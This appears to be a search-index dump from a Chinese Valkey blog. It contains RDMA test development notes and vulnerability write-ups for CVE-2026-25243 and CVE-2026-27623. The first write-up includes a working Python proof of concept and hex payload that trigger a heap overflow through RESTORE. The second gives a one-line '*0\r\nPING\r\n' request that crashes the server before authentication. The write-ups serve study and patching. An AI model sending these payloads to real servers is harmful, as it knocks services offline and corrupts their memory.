cfg-\u0026gt;clients; long long extra = client_id \u0026lt; (cfg-\u0026gt;requests % cfg-\u0026gt;clients) ? 1 : 0; return base + extra; } 不能整除时，前 requests % clients 个 client 各多 1 条，保证总和精确等于 cfg-\u0026gt;requests。\n设计的核心数据结构 # typedef struct test_config { // 当前test的配置 全局参数，所有worker read only const char *host; int port; int threads; int clients; int pipeline; long long requests; size_t datasize; char *value; } test_config; typedef struct worker_config { // 当前工作线程worker的配置 const test_config *cfg; int thread_id; int first_client; int last_client; } worker_config; // 这里会记录连接线程的区间 以及线程本身的配置 typedef struct client_state { // 一个连接的状态 int client_id; // 客户端ID long long requests; // 一个连接处理的请求数量 long long processed; int pending; valkeyContext *context; } client_state; 字段 含义 test_config 全局参数，所有 worker 只读 worker_config 本 pthread 负责的 client 区间 [first_client, last_client) client_state.processed 该连接已完成 SET（或 GET）的条数 client_state.pending 当前 pipeline 批次里已 append、尚未 drain 回复的命令数 client_state.context libvalkey 连接；内部有 obuf（写缓冲）和 reader（读解析器） 同时，针对每个连接使用不同的key来测试，防止竞争:\nstatic void make_key(char *buf, size_t len, int client_id, long long seq) { snprintf(buf, len, \u0026#34;rdma:%04d:%012lld\u0026#34;, client_id, seq); } 针对于一个worker的生命周期 # static void * worker_main(void * arg) { worker_config * worker = arg; const test_config * cfg = worker - \u0026gt; cfg; int state_count = worker - \u0026gt; last_client - worker - \u0026gt; first_client; client_state * states; int ret = 1; states = calloc(state_count, sizeof( * states)); if (!states) { fprintf(stderr, \u0026#34;thread %d failed to allocate client states\\n\u0026#34;, worker - \u0026gt; thread_id); return (void * )(long) 1; } for (int i = 0; i \u0026lt; state_count; i++) { int client_id = worker - \u0026gt; first_client + i; states[i].client_id = client_id; states[i].requests = requests_for_client(cfg, client_id); // 此处就尝试建立连接了 states[i].context = connect_rdma(cfg, client_id); if (!states[i].context) goto cleanup; } if (run_phase(states, state_count, cfg, 0) != 0) goto cleanup; for (int i = 0; i \u0026lt; state_count; i++) states[i].processed = 0; if (run_phase(states, state_count, cfg, 1) != 0) goto cleanup; printf(\u0026#34;Valkey Over RDMA libvalkey thread[%d] clients %d-%d SET/GET %lld \u0026#34; \u0026#34;requests [OK]\\n\u0026#34;, worker - \u0026gt; thread_id, worker - \u0026gt; first_client, worker - \u0026gt; last_client - 1, cfg - \u0026gt; requests); ret = 0; cleanup: for (int i = 0; i \u0026lt; state_count; i++) { if (states[i].context) valkeyFree(states[i].context); } free(states); return (void * )(long) ret; } 差不多之后，我们需要把两个分支合并起来，在一个临时分支做个测试。\n在CI中复现测试 # 因为这是单独的测试分支，相当于我们要在CI中复现出来错误，才能证明自己的正确性。\ntest:\nsudo ./runtest-rdma --install-rxe Valkey Over RDMA build test programs [OK] Valkey Over RDMA test detect existing RDMA device [FAILED] 这里说没检测到设备。\n但是在show-kernel-log中:\n0s Run sudo dmesg -c [ 308.887784] rdma_rxe: loading out-of-tree module taints kernel. [ 308.887792] rdma_rxe: module verification failed: signature and/or required key missing - tainting kernel [ 308.890138] rdma_rxe: loaded [ 308.896386] infiniband rxe_eth0: set active [ 308.896390] infiniband rxe_eth0: added eth0 [ 309.206987] rdma_rxe: unloaded 我们可以看到设备应该是loaded过的，为什么？\n这里总之是处理了一大堆py脚本的问题，看起来很难受。 我们最终解决了问题，然后使得终端报错的日志打印在CI页面上面，同时还正确的复现了问题，很好。\n对于两个测试文件做一些抽象处理 # 须知重构抽象，乃软件本源。\n先尝试做第一波抽象：\n2.requests和minkeys maxkeys统一，这里的想法是两边都使用minkeys 和 maxkeys,然后默认选取合适的范围，使得此问题还是可以被触发 3.测试的KV pair 使用相同的逻辑进行填充()，当我们设置了KV之后，GET回来还需要进行校验()，保证逻辑对齐(),这里需要注意一下是什么意思。\n需要修改的暂时主要为上面的三个点。\n大型代码重构真的好难，完全不知道怎么下手，这里又是值得进行新学习的点。 就是各种逻辑全依赖在一起，你根本不知道开始动哪里，很难受。\n分步骤一点点来吧 # 1.首先把公共结构体直接提出来，二者都使用这个结构体，如果存在对方没有的就先DEFAULT. 预期行为是命令行没有参数的时候，二者都使用自己的默认值（这个应该是CI中预期的行为），如果命令行指定了参数，二者使用相同的参数来进行测试。\n比如这就是预期的参数：\n┌──────────┬───────────────────────┬────────────────┐ │ 参数 │ rdma-test │ libvalkey-test │ ├──────────┼───────────────────────┼────────────────┤ │ port │ 6379 │ 6379 │ ├──────────┼───────────────────────┼────────────────┤ │ threads │ 0（单线程 main 模式） │ 16 │ ├──────────┼───────────────────────┼────────────────┤ │ clients │ —（不用） │ 128 │ ├──────────┼───────────────────────┼────────────────┤ │ pipeline │ — │ 384 │ ├──────────┼───────────────────────┼────────────────┤ │ requests │ — │ 200000 │ ├──────────┼───────────────────────┼────────────────┤ │ minkeys │ 128 │ — │ ├──────────┼───────────────────────┼────────────────┤ │ maxkeys │ 8192 │ — │ ├──────────┼───────────────────────┼────────────────┤ │ datasize │ 1024 │ 256 │ └──────────┴───────────────────────┴────────────────┘ 没有什么问题。 目前两个测试共享了参数，具体的细节之后可以再修改。\n2.接下来去掉request参数，把每个client的连接的request数量在minkeys和maxkeys内部做一个随机处理。 这个改动点应该不大，这个处理结束了。就是随机化一下，目前还是能稳定复现多线程的错误。\n3.接下来是统一测试的逻辑,使用真随机，然后GET 回来时候进行compare的操作。\n","date":"2026-06-29","externalUrl":null,"permalink":"/zh-cn/valkey/feature-rdma-multithread-tests/","section":"Valkey","summary":"\u003cblockquote\u003e\n\u003cp\u003e我就直接认为这是一个新的feature了，就是利用libvalkey的client客户端进行模拟的压测，同时是需要支持多线程的。\u003c/p\u003e\u003c/blockquote\u003e\n\n\n\u003ch2 class=\"relative group\"\u003e本次修改的测试逻辑 \n    \u003cdiv id=\"%E6%9C%AC%E6%AC%A1%E4%BF%AE%E6%94%B9%E7%9A%84%E6%B5%8B%E8%AF%95%E9%80%BB%E8%BE%91\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#%E6%9C%AC%E6%AC%A1%E4%BF%AE%E6%94%B9%E7%9A%84%E6%B5%8B%E8%AF%95%E9%80%BB%E8%BE%91\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003e这算是一个新的feature,我们需要提一个新的PR来解决问题。\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e在\u003ccode\u003etests/rdma\u003c/code\u003e的目录下方，增加\u003ccode\u003elibvalkey-test.c\u003c/code\u003e，直接使用\u003ccode\u003elibvalkey\u003c/code\u003e的\u003ccode\u003eclient\u003c/code\u003e相关的API来进行测试即可。\u003c/p\u003e","title":"Valkey Over RDMA-支持多线程测试(新测试框架)","type":"valkey"},{"content":" CVE-2026-25243 — Invalid Memory Access in Redis RESTORE Command May Lead to Remote Code Execution # 该漏洞的触发点位于 Redis 的 RESTORE 命令。\n正常行为：RESTORE 命令主要用于将 RDB 格式的序列化值（通常由 DUMP 命令生成）反序列化，并重新创建为 Redis 内存中的键值对。 异常行为：在底层 C 语言的实现中，如果攻击者构造了一个格式畸形、长度异常或包含恶意指针偏移量的序列化 Payload（有效载荷）并提交给 RESTORE，Redis 在解析这串数据时，未能充分验证其合法性。这会导致非法的内存访问（越界读/写），进而在堆内存（Heap）中触发缓冲区溢出。攻击者可通过精心布局堆内存，劫持程序的执行流，从而在 Redis 服务器的上下文中执行任意系统命令。 根据 CVSS v4 的指标（AV:N/AC:H/AT:N/PR:L/UI:N），该漏洞的利用门槛如下：\n必须具备网络访问权限 (AV:N)：攻击者需要能通过网络连接到该 Redis 实例。 必须经过身份验证 (PR:L)：这是一个后授权漏洞。攻击者不能是匿名访问者，必须已经获得了 Redis 的访问凭证（如密码或特定用户的 ACL 权限）。 必须具有执行 RESTORE 的权限：如果攻击者使用的账号被限制了特定高危命令的使用，则无法触发该漏洞。 利用复杂度较高 (AC:H)：在现代操作系统（如开启了 ASLR、NX 等内存保护机制）上，稳定地利用堆溢出实现 RCE 通常需要较高的技术技巧，可能需要结合内存泄漏或其他手段来绕过防护。 CVE链接：https://github.com/redis/redis/security/advisories/GHSA-c8h9-259x-jff4\n受影响范围 # 全部版本\n目前所有版本已经修复\n根因分析 # 我们还是利用valkey的代码仓库来进行分析和复现，首先可以了解一下valkey的背景故事,二者同根同源，所以在一些典型的组件或者机制上出现的CVE问题往往可以进行交叉的验证，找到一个就可以在这两个仓库上都试试。 想要理解本次CVE的分析，还是需要你对redis的某些机制和组件，比如数据结构，和持久化机制有简单的了解，不过之后我们将会补充相关的信息。\n复现和分析环境 # 由于目前该漏洞已经被修复，我们切换到本次补丁commit的上一个commit开始进行分析。\ngit checkout fea0b4064^ # 修复前一版的commit 攻击面总览 # 层级 组件 作用 命令层 RESTORE 接收 DUMP 格式的二进制，反序列化为内存对象 校验层 verifyDumpPayload() RDB 版本 + CRC64 加载层 rdbLoadObject() 按 1 字节 type 分支加载 遗留编码 RDB_TYPE_HASH_ZIPMAP (9) 极老 Redis 小 hash；加载时 转成 listpack 漏洞点 zipmapValidateIntegrity vs zipmapNext 两套“长度前缀步长”不一致 整体的调用链 （从客户端到越界读） # A[客户端 RESTORE key ttl payload] --\u0026gt; B[restoreCommand cluster.c] B --\u0026gt; C[verifyDumpPayload CRC + RDB版本] C --\u0026gt; D[rdbLoadObjectType 读 type 字节] D --\u0026gt; E[rdbLoadObject case HASH_ZIPMAP] E --\u0026gt; F[zipmapValidateIntegrity deep=1] F --\u0026gt;|通过| G[while zipmapNext 转 listpack] G --\u0026gt; H[sdstrynewlen 可能越界读] 在src/cluster.c中的核心逻辑:\n/* RESTORE key ttl serialized-value [REPLACE] [ABSTTL] [IDLETIME seconds] [FREQ frequency] */ // RESTORE command：将rdb格式的序列化值反序列化，重新生成内存中的键值对. void restoreCommand(client *c) { ...... /* Verify RDB version and data checksum. */ // 验证RDB的格式 算校验和 ---\u0026gt; 这个校验你可以跳过，但是攻击者也可以直接构造一个正确的CRC来注入 if (verifyDumpPayload(objectGetVal(c-\u0026gt;argv[3]), sdslen(objectGetVal(c-\u0026gt;argv[3])), \u0026amp;rdbver) == C_ERR) { addReplyError(c, \u0026#34;DUMP payload version or checksum are wrong\u0026#34;); return; } rioInitWithBuffer(\u0026amp;payload, objectGetVal(c-\u0026gt;argv[3])); type = rdbLoadObjectType(\u0026amp;payload); ... // 这里是开始真正加载某个对象 obj = rdbLoadObject(type, \u0026amp;payload, objectGetVal(key), c-\u0026gt;db-\u0026gt;id, NULL, RDBFLAGS_NONE, 0); if (obj == NULL) { addReplyError(c, \u0026#34;Bad data format\u0026#34;); return; } ...... } DUMP/RESTORE 载荷格式（无 REDIS/VALKEY magic，仅 type + 对象 + footer）：\n[type 1B][RDB 编码的对象体][RDB version 2B LE][CRC64 8B LE] verifyDumpPayload可用 DEBUG SET-SKIP-CHECKSUM-VALIDATION yes 跳过 CRC（实验用，真实攻击可算正确 CRC），就像我们在代码注释中提到过的。\n为什么现代redis的Hash还会受到影响？ # 当前写入的 Hash 多为 listpack 或 hashtable，但 RDB type 9 仍被支持：攻击者直接构造 RESTORE payload，无需服务器上已有 zipmap key。 我们看看RDB支持了哪些数据结构的类型？\n/* Map object types to RDB object types. Macros starting with OBJ_ are for * memory storage and may change. Instead RDB types must be fixed because * we store them on disk. */ enum RdbType { RDB_TYPE_STRING = 0, RDB_TYPE_LIST = 1, RDB_TYPE_SET = 2, RDB_TYPE_ZSET = 3, RDB_TYPE_HASH = 4, RDB_TYPE_ZSET_2 = 5, /* ZSET version 2 with doubles stored in binary. */ RDB_TYPE_MODULE_PRE_GA = 6, /* Used in 4.0 release candidates */ RDB_TYPE_MODULE_2 = 7, /* Module value with annotations for parsing without \\ the generating module being loaded. */ RDB_TYPE_HASH_ZIPMAP = 9, // 可以看到这里就是本次漏洞所在,HASH_ZIPMAP 9 RDB_TYPE_LIST_ZIPLIST = 10, RDB_TYPE_SET_INTSET = 11, RDB_TYPE_ZSET_ZIPLIST = 12, RDB_TYPE_HASH_ZIPLIST = 13, RDB_TYPE_LIST_QUICKLIST = 14, RDB_TYPE_STREAM_LISTPACKS = 15, RDB_TYPE_HASH_LISTPACK = 16, /* Added in RDB 10 (7.0) */ RDB_TYPE_ZSET_LISTPACK = 17, RDB_TYPE_LIST_QUICKLIST_2 = 18, RDB_TYPE_STREAM_LISTPACKS_2 = 19, RDB_TYPE_SET_LISTPACK = 20, /* Added in RDB 11 (7.2) */ RDB_TYPE_STREAM_LISTPACKS_3 = 21, RDB_TYPE_HASH_2 = 22, /* Hash with field-level expiration, RDB 80 (9.0) */ RDB_TYPE_LAST }; 那么我们来到src/rdb.c中的rdbLoadObject的zipmap分支看看：\n/* Load an Object of the specified type from the specified file. * On success a newly allocated object is returned, otherwise NULL. * When the function returns NULL and if \u0026#39;error\u0026#39; is not NULL, the * integer pointed by \u0026#39;error\u0026#39; is set to the type of error that occurred */ // 从某个特定的文件中加载某个特定类型的对象 // 成功的话，返回在内存中分配的对象，失败就返回NULL robj * rdbLoadObject(int rdbtype, rio * rdb, sds key, int dbid, int * error, int rdbflags, mstime_t now) { ...... /* Fix the object encoding, and make sure to convert the encoded * data type into the base type if accordingly to the current * configuration there are too many elements in the encoded data * type. Note that we only check the length and not max element * size as this is an O(N) scan. Eventually everything will get * converted. */ switch (rdbtype) { case RDB_TYPE_HASH_ZIPMAP: /* Since we don\u0026#39;t keep zipmaps anymore, the rdb loading for these * is O(n) anyway, use `deep` validation. */ if (!zipmapValidateIntegrity(encoded, encoded_len, 1)) { rdbReportCorruptRDB(\u0026#34;Zipmap integrity check failed.\u0026#34;); zfree(encoded); objectSetVal(o, NULL); decrRefCount(o); return NULL; } /* Convert to ziplist encoded hash. This must be deprecated * when loading dumps created by Redis OSS 2.4 gets deprecated. */ { unsigned char * lp = lpNew(0); unsigned char * zi = zipmapRewind(objectGetVal(o)); unsigned char * fstr, * vstr; unsigned int flen, vlen; unsigned int maxlen = 0; hashtable * dupSearchHashtable = hashtableCreate( \u0026amp; setHashtableType); while ((zi = zipmapNext(zi, \u0026amp; fstr, \u0026amp; flen, \u0026amp; vstr, \u0026amp; vlen)) != NULL) { if (flen \u0026gt; maxlen) maxlen = flen; if (vlen \u0026gt; maxlen) maxlen = vlen; /* search for duplicate records */ sds field = sdstrynewlen(fstr, flen); int field_added = field \u0026amp;\u0026amp; hashtableAdd(dupSearchHashtable, field); if (!field_added || !lpSafeToAdd(lp, (size_t) flen + vlen)) { rdbReportCorruptRDB(\u0026#34;Hash zipmap with dup elements, or big length (%u)\u0026#34;, flen); hashtableRelease(dupSearchHashtable); if (!field_added) sdsfree(field); zfree(encoded); zfree(lp); objectSetVal(o, NULL); decrRefCount(o); return NULL; } lp = lpAppend(lp, fstr, flen); lp = lpAppend(lp, vstr, vlen); } } ...... } 流程：深度校验通过 → zipmapNext 遍历 → 每条 field/value 写入 listpack(这个过程就是在把zipmap这种老数据结构转换成我们的listpack来继续处理)。漏洞发生在校验与迭代对“长度前缀占几字节”理解不一致。\n我们来看看这两个数据结构 listpack \u0026amp; zipmap # 引入listpack就是为了解决压缩列表的连锁更新的问题,我们复习一下这两个数据结构,如果您了解，可以跳过。 listpack # 还是紧凑的来保存数据,我们来看一整个listpack的结构：\n[listpack 总字节数][listpack 元素数量][listpack entry][listpack entry][listpack entry][listpack 结尾标识] 这么看起来会比较形象，但是实际上在源码中，我们使用unsigned char *的连续字节，读出来的时候才会使用listpackEntry来对这些结构体进行“解释”，我们来看看listpack.c中的描述：\n#define LP_HDR_SIZE 6 /* 32 bit total len + 16 bit number of elements. */ #define LP_HDR_NUMELE_UNKNOWN UINT16_MAX // ... #define lpGetTotalBytes(p) \\ (((uint32_t)(p)[0] \u0026lt;\u0026lt; 0) | ((uint32_t)(p)[1] \u0026lt;\u0026lt; 8) | ((uint32_t)(p)[2] \u0026lt;\u0026lt; 16) | ((uint32_t)(p)[3] \u0026lt;\u0026lt; 24)) #define lpGetNumElements(p) (((uint32_t)(p)[4] \u0026lt;\u0026lt; 0) | ((uint32_t)(p)[5] \u0026lt;\u0026lt; 8)) 逻辑布局：\n+----------+----------+----------+----------+----------+----------+-----+ ... +-----+ | total | total | total | total | numele | numele |entry| |0xFF | | bytes | (LE 32) | | | (LE 16) | | 1 | | EOF | +----------+----------+----------+----------+----------+----------+-----+ ... +-----+ |\u0026lt;------------------------ LP_HDR_SIZE = 6 ------------------------\u0026gt;|\u0026lt;-- entries --\u0026gt;| offset 0–3：整个 listpack 字节数（小端 uint32_t） offset 4–5：元素个数；UINT16_MAX 表示未知，需扫描（LP_HDR_NUMELE_UNKNOWN） offset 6 起：一串 entry 最后一个字节：LP_EOF（0xFF） 我们看到后面就存放了listpack entry,我们来研究一下： A.内存中的entry结构： [ encoding + payload ... ][ backlen ] encoding + payload：由首字节高位模式区分整数/字符串及长度 backlen：entry 总长度的变长编码，供 lpPrev() 反向遍历 B.listpackEntry 这是读出来之后的逻辑值,对于每个listpack entry,实际上能够使用不同的编码方式保存不同大小的数据. 这里有结构体了，我们看看： /* Each entry in the listpack is either a string or an integer. */ // 每个entry都被解释称一个字符串或者整数 typedef struct { /* When string is used, it is provided with the length (slen). */ // 这里就指向listpack内部的对应缓冲区 unsigned char *sval; uint32_t slen; /* When integer is used, \u0026#39;sval\u0026#39; is NULL, and lval holds the value. */ long long lval; } listpackEntry; zipmap # zipmap 是早期 Redis 的 字符串→字符串 紧凑映射（O(n) 查找），布局见 src/zipmap.c 文件头注释：\n[zmlen 1B][field len 前缀][field 数据][value len 前缀][free 1B][value 数据] ... [0xFF END] 长度编码规则（ZIPMAP_BIGLEN = 254）：\n首字节 含义 前缀宽度 0–253 长度即该值 1 字节 254 (0xFE) 后跟 4 字节 uint32（小端） 5 字节 255 ZIPMAP_END — 在zipmap.c中： static unsigned int zipmapDecodeLength(unsigned char *p) { unsigned int len = *p; if (len \u0026lt; ZIPMAP_BIGLEN) return len; memcpy(\u0026amp;len, p + 1, sizeof(unsigned int)); memrev32ifbe(\u0026amp;len); return len; } static unsigned int zipmapEncodeLength(unsigned char *p, unsigned int len) { ... return ZIPMAP_LEN_BYTES(len); /* l\u0026lt;254 → 1 字节，否则 5 字节 */ } static unsigned int zipmapGetEncodedLengthSize(unsigned char *p) { return (*p \u0026lt; ZIPMAP_BIGLEN) ? 1 : 5; /* 看线上首字节，不看解码值 */ } static unsigned int zipmapRawKeyLength(unsigned char *p) { unsigned int l = zipmapDecodeLength(p); return zipmapEncodeLength(NULL, l) + l; /* 按解码值 l 重算前缀宽度 */ } 漏洞根因：两套步长差 4 字节 # PoC 在 第一个 field 的长度前缀 写入：\nfe 03 00 00 00 → 线上 5 字节编码，解码 l = 3 61 62 63 → \u0026#34;abc\u0026#34; 阶段 函数 field 前缀如何前进 校验 zipmapValidateIntegrity s = zipmapGetEncodedLengthSize(p) → 见 0xFE → 5 → 共前进 5+3=8 迭代 zipmapNext → zipmapRawKeyLength l=3 → zipmapEncodeLength(NULL,3) → 1 → 共前进 1+3=4 差 4 字节。第二次 zipmapNext 时指针落在 \u0026quot;abc\u0026quot; 中间，可能把 0x61（'a'）当成长度 97，随后 sdstrynewlen(fstr, 97) 对 24 字节 的 zipmap buffer 堆越界读（ASan: heap-buffer-overflow in zipmapNext）。 时间线示意： buffer: [02][fe 03 00 00 00][a][b][c][03][00][def]... 校验 p ──每次按 5 字节前缀走 迭代 zi ──第一次只按 1 字节前缀走 → 错位 → 误读 0x61 为长度 97 与 listpack / RDB 的关系 # listpack：转换目标，现代 hash 的紧凑编码；本 CVE 不直接破坏 listpack，而是进入转换前的zipmap迭代出错。 RDB type 9：src/rdb.h 中 RDB_TYPE_HASH_ZIPMAP = 9；RESTORE payload 首字节为 0x09，后跟 RDB 长度前缀 + zipmap 字节串。 sanitize_dump_payload：主要约束 ziplist/listpack 等；zipmap 路径在修复前是 zipmapValidateIntegrity 逻辑缺陷，不是简单关 sanitize 能修。 从越界读到 RCE # 本 CVE 归类 CWE-122（堆上非法访问）。单次 PoC 多为 heap-buffer-overflow read； 在特定堆布局与后续利用链下，理论上可能升级为写原语或 RCE（官方 CVSS 标 High），这个之后可以尝试一下，那应该暂时没人利用过这个来RCE. 学习阶段以 ASan 复现 + 理解校验缺口 为主即可。\n复现 # 下面脚本可：构造载荷、可选变异、经 RESP 发送 RESTORE、支持跳过 CRC（DEBUG）或附带 CRC 占位. 此脚本已经放在本文件夹对应的目录下方：\n#!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34; CVE-2026-25243 PoC — same bytes \u0026amp; flow as tests/unit/dump.tcl (fea0b4064). DEBUG SET-SKIP-CHECKSUM-VALIDATION 1 RESTORE zipmap_test 0 \u0026lt;binary payload\u0026gt; DEBUG SET-SKIP-CHECKSUM-VALIDATION 0 Payload contains NUL bytes; must use RESP socket (valkey-cli argv cannot carry it). Start server like runtest {needs:debug}: ./src/valkey-server --port 6379 --enable-debug-command yes python3 exploit.py # or: ./runtest --single tests/unit/dump.tcl -match \u0026#39;*CVE-2026-25243*\u0026#39; \u0026#34;\u0026#34;\u0026#34; from __future__ import annotations import argparse import socket import sys # Exact bytes from tests/unit/dump.tcl (36 bytes; footer = 0x50 0x00 + 8-byte CRC) # 这里就是直接从官方的测试用例中构造的 PAYLOAD = bytes.fromhex( \u0026#34;091802fe0300000061626303006465660367686903006a6b6cff\u0026#34; \u0026#34;50000000000000000000\u0026#34; ) KEY = \u0026#34;zipmap_test\u0026#34; def resp_command(*args: str | bytes) -\u0026gt; bytes: parts: list[bytes] = [] for a in args: if isinstance(a, str): a = a.encode() parts.append(f\u0026#34;${len(a)}\\r\\n\u0026#34;.encode() + a + b\u0026#34;\\r\\n\u0026#34;) return b\u0026#34;*\u0026#34; + str(len(parts)).encode() + b\u0026#34;\\r\\n\u0026#34; + b\u0026#34;\u0026#34;.join(parts) def run_poc(host: str, port: int) -\u0026gt; str: \u0026#34;\u0026#34;\u0026#34;Same command sequence as dump.tcl CVE-2026-25243 test.\u0026#34;\u0026#34;\u0026#34; pipeline = b\u0026#34;\u0026#34;.join( [ resp_command(\u0026#34;DEBUG\u0026#34;, \u0026#34;SET-SKIP-CHECKSUM-VALIDATION\u0026#34;, \u0026#34;1\u0026#34;), resp_command(\u0026#34;RESTORE\u0026#34;, KEY, \u0026#34;0\u0026#34;, PAYLOAD), resp_command(\u0026#34;DEBUG\u0026#34;, \u0026#34;SET-SKIP-CHECKSUM-VALIDATION\u0026#34;, \u0026#34;0\u0026#34;), resp_command(\u0026#34;EXISTS\u0026#34;, KEY), ] ) with socket.create_connection((host, port), timeout=5) as s: s.sendall(pipeline) return s.recv(65536).decode(\u0026#34;utf-8\u0026#34;, errors=\u0026#34;replace\u0026#34;) def main() -\u0026gt; None: ap = argparse.ArgumentParser(description=\u0026#34;CVE-2026-25243 (dump.tcl PoC)\u0026#34;) ap.add_argument(\u0026#34;--host\u0026#34;, default=\u0026#34;127.0.0.1\u0026#34;) ap.add_argument(\u0026#34;--port\u0026#34;, type=int, default=6379) ap.add_argument(\u0026#34;--hex\u0026#34;, action=\u0026#34;store_true\u0026#34;, help=\u0026#34;Print payload hex and exit\u0026#34;) args = ap.parse_args() if args.hex: print(f\u0026#34;payload ({len(PAYLOAD)} bytes): {PAYLOAD.hex()}\u0026#34;) return print(f\u0026#34;[*] payload {len(PAYLOAD)} bytes (tests/unit/dump.tcl)\u0026#34;) print(f\u0026#34;[*] {args.host}:{args.port} via RESP\u0026#34;) try: out = run_poc(args.host, args.port) except OSError as e: print(f\u0026#34;[!] connect failed: {e}\u0026#34;, file=sys.stderr) sys.exit(1) print(out) if \u0026#34;DEBUG command not allowed\u0026#34; in out: print( \u0026#34;\\n[!] 需要开启 DEBUG（与 runtest needs:debug 一致）：\\n\u0026#34; \u0026#34; ./src/valkey-server --port 6379 --enable-debug-command yes\u0026#34;, file=sys.stderr, ) sys.exit(1) if \u0026#34;checksum are wrong\u0026#34; in out: print( \u0026#34;\\n[!] CRC 仍失败：DEBUG 必须用 1/0（不能用 yes/no，atoi(\\\u0026#34;yes\\\u0026#34;)==0）。\u0026#34;, file=sys.stderr, ) sys.exit(1) if \u0026#34;Bad data format\u0026#34; in out: print( \u0026#34;\\n[+] 与 Tcl 一致：Bad data format（已打补丁时正常）。\u0026#34; \u0026#34;\\n 未打补丁 + ASan：请看 server 终端 heap-buffer-overflow @ zipmapNext。\u0026#34; ) elif \u0026#34;Connection refused\u0026#34; in out or not out.strip(): print(\u0026#34;\\n[!] server 可能已崩溃（漏洞版 ASan 常见），请查看 server 日志。\u0026#34;, file=sys.stderr) else: print(\u0026#34;\\n[?] 对照 server / ASan 输出。\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: main() 我们这样进行复现：\n./src/valkey-server --port 6379 --enable-debug-command yes # 注意，这里需要开启debug指令 python3 exploit.py 接着在server端我们应该能看到crash的日志,这里就是堆溢出：\n==357339==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ba013ff9d58 at pc 0x5572590288b4 bp 0x7ffcf1d6f870 sp 0x7ffcf1d6f860 手动的hex是这样的：\n09 18 02 fe 03 00 00 00 61 62 63 03 00 64 65 66 03 67 68 69 03 00 6a 6b 6c ff 50 00 + 8字节 CRC 修复手法 # 修复 commit # Commit: fea0b4064（PR #3619） 文件: src/zipmap.c（tests/unit/dump.tcl 回归测试） 修复原理 # 在 zipmapValidateIntegrity() 中，对 field 名 和 value 的长度前缀各增加 canonical 检查：\nl = zipmapDecodeLength(p); /* 解码长度 \u0026lt; 254 时，线上编码必须只占 1 字节 */ if (l \u0026lt; ZIPMAP_BIGLEN \u0026amp;\u0026amp; s != 1) return 0; 含义：\n合法小长度必须用 1 字节（0x03），不能用 0xFE + uint32 的 5 字节 overlong 形式（除非解码值 ≥ 254）。 校验路径与 zipmapNext 对“前缀宽度”的语义在 进入转换循环之前 对齐。 改动小，不影响合法 zipmap（如单测里 len=512 的 5 字节编码仍满足 l \u0026gt;= 254 或 s == 5）。 修复后行为 # 项目 修复前 修复后 zipmapValidateIntegrity overlong 可能通过 返回 0，拒绝 rdbLoadObject 进入 zipmapNext 可能越界 返回 NULL → Bad data format ASan heap-buffer-overflow 无 EXISTS zipmap_test 0 0 修复之后，你可以运行脚本进行测试。 ","date":"2026-05-27","externalUrl":null,"permalink":"/zh-cn/valkey/security-cve-2026-25243-restore-rce/","section":"Valkey","summary":"\u003ch1 class=\"relative group\"\u003eCVE-2026-25243 — Invalid Memory Access in Redis RESTORE Command May Lead to Remote Code Execution \n    \u003cdiv id=\"cve-2026-25243--invalid-memory-access-in-redis-restore-command-may-lead-to-remote-code-execution\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#cve-2026-25243--invalid-memory-access-in-redis-restore-command-may-lead-to-remote-code-execution\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cp\u003e该漏洞的触发点位于 Redis 的 \u003ccode\u003eRESTORE\u003c/code\u003e 命令。\u003c/p\u003e","title":"CVE-2026-25243 Invalid Memory Access in Redis RESTORE Command May Lead to Remote Code Execution","type":"valkey"},{"content":" CVE-2026-27623 — Pre-Authentication DOS from malformed RESP request # Valkey 预认证拒绝服务 | RESP 协议状态机 | CVSS 3.1: 7.5 HIGH | CWE-20 | 无需认证 | 复现步骤\nValkey（Redis 系开源分支）在处理畸形 RESP 请求时，未在「空 multibulk」路径上重置 reqtype。攻击者只要建立一条 TCP 连接并 pipeline 发送 *0\\r\\nPING\\r\\n，即可让 networking.c 中断言失败，整个 valkey-server 进程退出。无需事先登录或复杂握手。\n漏洞速览 # 项目 内容 CVE 编号 CVE-2026-27623 漏洞代号 Pre-Authentication DOS from malformed RESP request 漏洞类型 远程拒绝服务（断言失败导致进程 abort）；认证前即可触发 CVSS 3.1 7.5 HIGH（GitHub Advisory：AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H） CWE CWE-20（不当输入校验） 影响组件 valkey-server；解析逻辑集中于 src/networking.c（processInputBuffer / parseMultibulk / handleParseResults 等） 发现方 NVIDIA Networking Security（Daniel Bransky、Eliya Cohen；见官方 GHSA Credits） 披露与修复 GitHub Security Advisory GHSA-93p9-5vc7-8wgr（2026-02-23）；补丁提交 2c311dd7173 利用条件 能访问目标 Valkey 监听端口；单次发送字节序列 *0\\r\\nPING\\r\\n（同一 TCP 缓冲区内 pipeline） 受影响范围 # Valkey 版本 # 官方公告写明（以 GHSA 文本为准；页面中 =\u0026gt; 按 ≥ 理解）：\n受影响：Valkey ≥ 9.0.0 且 ≤ 9.0.2 已修复：9.0.3 及以上 本目录 PoC 与源码走读默认基于 9.0.2 标签。若需对照修复后行为，可切换到 9.0.3 或已包含 2c311dd 的分支。\n其它说明 # 项目 说明 Redis 主线 本 CVE 与 PoC 针对 Valkey；其它派生若合并相同解析逻辑，以其各自安全公告为准。 暴露面 与常规内存数据库部署相同：对不可信网络暴露的未打补丁实例可被单包 DoS。实验环境建议使用非常用端口并避免公网监听。 根因分析 # 首先你需要了解Redis使用的RESP协议。\n从系统和网络设计的角度来看，RESP 是一个非常经典的协议案例。它既具备类似 HTTP 